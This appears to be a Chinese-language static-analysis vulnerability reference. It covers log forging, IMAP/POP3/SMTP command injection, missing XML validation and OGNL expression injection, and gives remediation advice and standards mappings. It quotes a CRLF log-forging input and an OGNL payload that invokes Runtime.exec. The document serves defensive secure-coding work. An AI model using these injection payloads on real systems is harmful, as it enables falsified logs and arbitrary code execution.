[7] Standards Mapping - MISRA C 2012 Rule 1.3
[8] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[11] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Log Forging (debug)
ABSTRACT
将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志。
EXPLANATION
在以下情况下会发生 Log Forging 的漏洞:
数据从一个不可信赖的数据源进入应用程序。
数据写入到应用程序或系统日志文件中。
为了便于以后的审阅、统计数据收集或调试,应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性,审阅日志文件可在必要时手动执行,也可以自动执行,即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。
如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据,则可能会妨碍或误导日志文件的解读。最理想的情况是,攻击者可能通过向应用程序提供包括适当字符的输入,在日志文件中插入错误的条目。如果日志文件是自动处理的,那么攻击者就可以通过破坏文件格式或注入意外的字符,从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式,受到破坏的日志文件可用于掩护攻击者的跟踪轨迹,甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是,攻击者可能向日志文件注入代码或者其他命令,利用日志处理实用程序中的漏洞 [2]。
例 1: 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数,输入就会被记录到日志中,附带一条提示相关情况的错误消息。
1 | ... |
如果用户为“val”提交字符串“twenty-one”,则日志中会记录以下条目:
INFO: Failed to parse val=twenty-one
然而,如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”,则日志中会记录以下条目:
1 | INFO: Failed to parse val=twenty-one |
显然,攻击者可以使用同样的机制插入任意日志条目。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 Log Forging)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
例 2:以下代码对例 1 进行调整使其适用于 Android 平台。
1 | ... |
RECOMMENDATIONS
使用间接方法防止 Log Forging 攻击:创建一组与不同事件一一对应的合法日志条目,这些条目必须记录在日志中,并且仅记录该组条目。要捕获动态内容(如用户注销系统),请务必使用由服务器控制的数值,而非由用户提供的数据。这就确保了日志条目中绝不会直接使用由用户提供的输入。
可以按以下方式将例 1 重写为与 NumberFormatException 对应的预定义日志条目:
1 | ... |
下面是 Android 的等同内容:
1 | ... |
在某些情况下,这个方法有些不切实际,因为这样一组合法的日志条目实在太大或是太复杂了。这种情况下,开发者往往又会退而采用黑名单方法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。然而,不安全字符列表很快就会不完善或过时。更好的方法是创建一份白名单,允许其中的字符出现在日志条目中,并且只接受完全由这些经认可的字符组成的输入。在大多数 Log Forging 攻击中,最关键的字符是“\n”(换行符),该字符决不能出现在日志条目白名单中。
REFERENCES
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] IDS03-J. Do not log unsanitized user input CERT
[4] INPUT-1: Validate inputs Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 117
[6] Standards Mapping - FIPS200 AU, SI
[7] Standards Mapping - MISRA C 2012 Rule 1.3
[8] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[11] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Mail Command Injection: IMAP
ABSTRACT
执行利用不可信赖数据源的 IMAP 命令,可能会导致 IMAP 服务器以攻击者的名义执行恶意命令。
EXPLANATION
当攻击者可以影响发送到 IMAP 邮件服务器的命令时,就会发生 IMAP Command Injection 漏洞。
数据从不可信赖的数据源进入应用程序。
数据被用作代表应用程序所执行命令的字符串,或字符串的一部分。
通过执行 IMAP 命令,攻击者能够指示服务器执行恶意操作,例如发送垃圾邮件。
示例 1:以下代码使用 HTTP 请求参数来构建将发送到 IMAP 服务器的 CREATE 命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
1 | ... |
RECOMMENDATIONS
应当禁止用户直接控制由程序执行的 IMAP 命令。在用户的输入会影响命令执行的情况下,应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容,传递到命令执行函数的值将默认从安全命令集合中选择,或者程序将拒绝执行任何命令。
在需要将用户的输入用作程序命令中的参数时,由于合法的参数集合实在很大,或是难以跟踪,使得这个方法通常都不切实际。开发者通常的做法是使用黑名单。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何一个定义不安全内容的列表都很可能是不完整的,并且会严重地依赖于执行命令的环境。如果不这样,建议使用白名单,以便接受完全由这些经认可的字符组成的输入。
REFERENCES
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 93
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[19] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
Mail Command Injection: POP3
ABSTRACT
执行利用不可信赖数据源的 POP3 命令,可能会导致 POP3 服务器以攻击者的名义执行恶意命令。
EXPLANATION
当攻击者可以影响发送到 POP3 邮件服务器的命令时,就会发生 POP3 Command Injection 漏洞。
数据从不可信赖的数据源进入应用程序。
数据被用作代表应用程序所执行命令的字符串,或字符串的一部分。
通过执行 POP3 命令,攻击者能够指示服务器执行恶意操作,例如发送垃圾邮件。
示例 1:以下代码使用 HTTP 请求参数来构建将发送到 POP3 服务器的 USER 和 PASS 命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
1 | ... |
RECOMMENDATIONS
应当禁止用户直接控制由程序执行的 POP3 命令。在用户的输入会影响命令执行的情况下,应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容,传递到命令执行函数的值将默认从安全命令集合中选择,或者程序将拒绝执行任何命令。
在需要将用户的输入用作程序命令中的参数时,由于合法的参数集合实在很大,或是难以跟踪,使得这个方法通常都不切实际。开发者通常的做法是使用黑名单。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何一个定义不安全内容的列表都很可能是不完整的,并且会严重地依赖于执行命令的环境。如果不这样,建议使用白名单,以便接受完全由这些经认可的字符组成的输入。
REFERENCES
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 93
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[19] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
Mail Command Injection: SMTP
ABSTRACT
从不可信赖数据源执行 SMTP 命令,可能会导致 SMTP 服务器以攻击者的名义执行恶意命令。
EXPLANATION
当攻击者可以影响发送到 SMTP 邮件服务器的命令时,就会发生 SMTP Command Injection 漏洞。
数据从不可信赖的数据源进入应用程序。
数据被用作代表应用程序所执行命令的字符串,或字符串的一部分。
通过执行 SMTP 命令,攻击者能够指示服务器执行恶意操作,例如发送垃圾邮件。
示例 1:以下代码使用 HTTP 请求参数来构建将发送到 SMTP 服务器的 VRFY 命令。攻击者可以利用此参数修改发送到服务器的命令,并使用 CRLF 字符注入新命令。
1 | ... |
RECOMMENDATIONS
应当禁止用户直接控制由程序执行的 SMTP 命令。在用户的输入会影响命令执行的情况下,应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容,传递到命令执行函数的值将默认从安全命令集合中选择,或者程序将拒绝执行任何命令。
在需要将用户的输入用作程序命令中的参数时,由于合法的参数集合实在很大,或是难以跟踪,使得这个方法通常都不切实际。开发者通常的做法是使用黑名单。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何一个定义不安全内容的列表都很可能是不完整的,并且会严重地依赖于执行命令的环境。如果不这样,建议使用白名单,以便接受完全由这些经认可的字符组成的输入。
REFERENCES
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 93
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[19] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
Missing XML Validation
ABSTRACT
解析 XML 时,无法进行校验会给攻击者提供恶意输入的机会。
EXPLANATION
最成功的攻击往往会从违反程序员的假设开始。不经过 DTD 或 XML schema 的校验,就直接接受 XML 文档,这样一来,程序员就会为攻击者打开了一扇大门,可以向程序提供无法预测、不合理或是恶意的输入。当然,XML 解析器不可能校验文档中出现的所有内容;任何解析器都无法完全理解数据的全部语意。然而,解析器可以进行完整而彻底的检查文档结构,从而保证处理文档的代码在内容安排上的合理性。
RECOMMENDATIONS
若创建 XML 解析器或解析器代理,务必启用校验功能。由于用来定义结构的文件规则错综复杂,或是人们完全不了解,而给校验带来了一些问题,那么在其附近有可能潜藏着某些安全漏洞。
下面的例子演示了如何启用 Xerces 解析器的校验功能(包括 DOM 和 SAX):
1 | org.apache.xerces.framework.XMLParser: parser.setValidation(true); |
接下来的例子演示了如何在 javax 库中为 SAX 和 DOM 解析器代理启用校验功能。
javax SAX 解析器代理:
1 | javax.xml.parsers.SAXParserFactory: factory.setValidating(true); |
javax DOM 解析器代理:
1 | javax.xml.parsers.DocumentBuilderFactory: factory.setValidating(true); |
接下来的各个例子演示了如何在 javax 库中为单个解析器和 XMLReaders 启用校验功能。
注意:Fortify 软件安全研究团队不建议采用这种方法启用校验功能。相反,您应在解析器代理中启用校验功能。
javax SAX 解析器和读取器:
1 | javax.xml.parsers.SAXParser: parser.setProperty("http://xml.org/sax/features/validation", new Boolean(true)); |
以下示例将显示如何为 Apache Axis 设置 XML 返回类型。
Axis 客户端调用:
1 | call.addParameter("testParam", org.apache.axis.Constants.XSD_STRING, javax.xml.rpc.ParameterMode.IN); |
REFERENCES
[1] Xerces parser features The Apache Foundation
[2] XML Validation in J2SE 1.5 Sun Microsystems
[3] Axis User’s Guide Apache Software Foundation
[4] IDS16-J. Prevent XML Injection CERT
[5] IDS17-J. Prevent XML External Entity Attacks CERT
[6] INJECT-3: XML and HTML generation requires care Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 112
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Missing XML Validation: Untyped Response
ABSTRACT
解析 XML 时,无法进行校验会给攻击者提供恶意输入的机会。
EXPLANATION
最成功的攻击往往会从违反程序员的假设开始。不经过 DTD 或 XML schema 的校验,就直接接受 XML 文档,这样一来,程序员就会为攻击者打开了一扇大门,可以向程序提供无法预测、不合理或是恶意的输入。当然,XML 解析器不可能校验文档中出现的所有内容;任何解析器都无法完全理解数据的全部语意。然而,解析器可以进行完整而彻底的检查文档结构,从而保证处理文档的代码在内容安排上的合理性。
RECOMMENDATIONS
若创建 XML 解析器或解析器代理,务必启用校验功能。由于用来定义结构的文件规则错综复杂,或是人们完全不了解,而给校验带来了一些问题,那么在其附近有可能潜藏着某些安全漏洞。
下面的例子演示了如何启用 Xerces 解析器的校验功能(包括 DOM 和 SAX):
1 | org.apache.xerces.framework.XMLParser: parser.setValidation(true); |
接下来的例子演示了如何在 javax 库中为 SAX 和 DOM 解析器代理启用校验功能。
javax SAX 解析器代理:
1 | javax.xml.parsers.SAXParserFactory: factory.setValidating(true); |
javax DOM 解析器代理:
1 | javax.xml.parsers.DocumentBuilderFactory: factory.setValidating(true); |
接下来的各个例子演示了如何在 javax 库中为单个解析器和 XMLReaders 启用校验功能。
注意:Fortify 软件安全研究团队不建议采用这种方法启用校验功能。相反,您应在解析器代理中启用校验功能。
javax SAX 解析器和读取器:
1 | javax.xml.parsers.SAXParser: parser.setProperty("http://xml.org/sax/features/validation", new Boolean(true)); |
以下示例将显示如何为 Apache Axis 设置 XML 返回类型。
Axis 客户端调用:
1 | call.addParameter("testParam", org.apache.axis.Constants.XSD_STRING, javax.xml.rpc.ParameterMode.IN); |
REFERENCES
[1] Xerces parser features The Apache Foundation
[2] XML Validation in J2SE 1.5 Sun Microsystems
[3] Axis User’s Guide Apache Software Foundation
[4] IDS16-J. Prevent XML Injection CERT
[5] IDS17-J. Prevent XML External Entity Attacks CERT
[6] INJECT-3: XML and HTML generation requires care Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 112
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
OGNL Expression Injection
ABSTRACT
计算未验证的 OGNL 表达式可能导致执行远程代码。
EXPLANATION
对象图导航语言 (OGNL) 是一种针对 Java 的开源表达式语言 (EL),它允许在由开发者提供的环境中计算并执行 EL 表达式。允许在任何环境下计算未验证的表达式将允许攻击者执行任意代码。
在以下示例中,应用程序使用由用户控制的未验证数据创建 OGNL 表达式的计算:
1 | OgnlContext ctx = new OgnlContext(); |
攻击者可以提交以下表达式以在应用程序服务器环境中执行任意代码:
(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc.exe"))
RECOMMENDATIONS
OGNL 表达式应被视作代码,因此不应允许用户提交要在应用程序服务器上运行的任意代码。所以,用户控制的字符串不应被解析为 OGNL 表达式。如果需要,开发人员应使用白名单仔细过滤并验证用户控制的表达式并仅允许所需的字符和表达式。
REFERENCES
[1] Apache Commons OGNL - Object Graph Navigation Library
[2] Meder Kydyraliev Milking a horse or executing remote code in modern Java frameworks
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 95
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
